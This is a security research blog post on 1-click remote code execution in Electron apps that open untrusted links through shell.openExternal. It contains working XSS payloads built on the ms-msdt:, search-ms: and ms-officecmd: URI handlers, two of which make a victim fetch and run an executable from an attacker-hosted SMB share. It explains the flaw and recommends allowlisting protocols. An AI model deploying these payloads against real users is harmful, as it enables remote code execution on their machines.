1-click RCE in Electron Applications

Pavel Shabarkin
6 min readApr 22, 2022

--

TL;DR

Links to third-party websites should be properly validated and checked before opening in the Electron JS applications. If the protocol of the link is not whitelist to http:// or https:// only, an Electron application becomes vulnerable to 1-click RCE attacks. This kind of attack exploits the Electron model and user’s navigation mechanism which redirects a user from the Electron app to the browser.

Introduction

In my previous blog post, I described the architecture and design for my theoretical misconfigured Electron application. I would suggest to read the introduction part to fully understand the context of the application described in this blog post.

This is a second blog post related to the importance of user limiting in an Electron native application. By opening not app specific links in the native application, It’s fairly common for the Electron framework to open them with unsafe function that redirects a user to the browser. This mechanism should be limited on the app business logic level to decrease the risk of being exploited.

RCE at the second attempt

If the Electron desktop application is deployed with proper nodeIntegration, contextIsolation settings; it simply means that client-side RCE by targeting preload scripts or Electron native code from the main process can not be achieved.

Currently there are no direct exploits or bypasses of these controls meaning if they are set up in a strict fashion then client-side RCE cannot be achieve.

However, during app navigation review, it is important to determine what links desktop app will open in the new desktop app windows and what will open in the browser. Let’s consider the case when all the links outside the main domain should open in a separate web browser.

Review of the app navigation [shell.openExternal]

Each time a user clicks the link or opens a new window, the following event listeners are invoked:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

The desktop application overrides these listeners to implement the desktop application’s own business logic. During the creation of new windows, the application checks whether the navigated link should be opened in a desktop application’s window or tab, or whether it should be opened in the web browser. In our example the verification is implemented with the function openInternally, if it returns false, the application will assume that the link should be opened in the web browser using the shell.openExternal function.

The openInternally function has a predefined list of domains whose contents should be rendered in the application’s desktop (In this example only application domain).

Here is a simplified pseudocode:

Accordingly to Electron JS security best practices, the openExternal function should not accept untrusted content (user’s urls):

Shell’s [openExternal](<https://www.electronjs.org/docs/latest/api/shell#shellopenexternalurl-options>) allows opening a given protocol URI with the desktop native utilities. For example, on macOS, this function is similar to the open terminal command utility and opens a specific application based on the URI and filetype association. When openExternal is used with untrusted content, it can be leveraged to execute arbitrary commands.

The JS window.open function will trigger the "new-window" event listener, and for any provided URL, which is not aligned with application’s internal allowlist, the application will open it with electron.shell.openExternal function in the user’s browser.

window.open("smb://domain.com")

If the application does not limit users navigation through https:// or http:// protocols, it opens up a wide attack surface. An attack could target native capabilities of the OS platform, where the Electron desktop app is launched.

URI schema exploits to leverage RCE

By targeting the native capabilities of the different OS platform, the more mime-type features the OS could support, the wider attack surface It would have. At this point, let’s focus on Windows and start looking for windows URL scheme exploits.

Positive Security completed research in which they explain in detail how URL schema exploits work and how they can affect OS platforms. Being inspired by the folks from Positive Security and Benjamin Altpeter, we crafted several payloads which would force the application to execute our code.

There is several cases of most impactful URL schema exploits, but for more details I would suggest looking at the original article.

Case #1

Windows includes the ms-msdt: protocol, which opens the Microsoft Support Diagnostic Tool. This tool provides a troubleshooting wizard to diagnose problems with Wi-Fi, audio, and the like. This protocol directly passes the string given to the msdt.exe program. An attacker needs to find an included wizard that allows execution of arbitrary programs, preferably even remote ones. The program compatibility wizard fits this description. Furthermore, all user input can also be pre-filled from the command line, leading to this URL:

ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\\\[attacker.com](<http://attacker.com/>)\\smb_share\\malicious_executable.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO

By crafting the following XSS payload, we could exploit every user who visits the functionality that is vulnerable to XSS:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

Upon opening this URL with shell.openExternal(), the troubleshooting wizard will open and show a “diagnostic” progress bar. Once completed, the user is asked to click a button to check the compatibility settings. When they do so, our malicious executable is launched again from the remote server. Since this vector uses the official Microsoft troubleshooting tool that the user is probably already familiar with and signals that a legitimate diagnostic is taking place, it won't be difficult for an attacker to convince the user to click this button.

Case #2

Windows also includes the search-ms: protocol, which opens the search feature. An attacker can supply both a search request and a location. This location can also be on a remote Samba share. Finally, an attacker can even set a search window title. Using this, the attacker can craft the following URL searching our SMB share to only display the malicious executable with a title suggesting an important update:

By crafting the following XSS payload, we could exploit every user who visits the functionality that is vulnerable to XSS:

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

Case #3

When reviewing the supported URL schemas in the Windows, I found a weird naming ms-officecmd and similar cmd schemas. I assumed that these features could potentially be abused. And what a surprise the next day, Positive Security published their research on how they exploited these URL schemas to leverage RCE attacks:

They discovered a drive-by code execution vulnerability on Windows 10 via IE11/Edge Legacy and MS Teams, triggered by an argument injection in the Windows 10/11 default handler for ms-officecmd: URIs.

Windows 10 RCE: The exploit is in the link | Positive Security

By crafting the following XSS payload, we could exploit every user who visits the functionality that is vulnerable to XSS:

ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\\"C:\\\\Windows\\\\System32\\\\cmd%20\\/c%20ping%2016843009%20&&%20\\""}}<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Recommendation

I would recommended limiting the URI schema to https://, http://, and mailto: only. If any other URI schema is required by application business logic, it should be additionally reviewed.

Summary

All cases demonstrated in this research resulted in remote code execution attack requiring only one user interaction. All of the actual exploitation steps were taken from the mentioned research; I just wanted to share my experience and thoughts, and point out the reason why this is a “must have” to review the desktop app navigation developed in Electron JS applications.

The complete guide on how to test Electron applications you may find here:

Reference

  1. https://www.electronjs.org/docs/latest/tutorial/security#15-do-not-use-openexternal-with-untrusted-content
  2. https://positive.security/blog/url-open-rce#windows-10-19042
  3. https://positive.security/blog/ms-officecmd-rce
  4. https://benjamin-altpeter.de/shell-openexternal-dangers/

--

--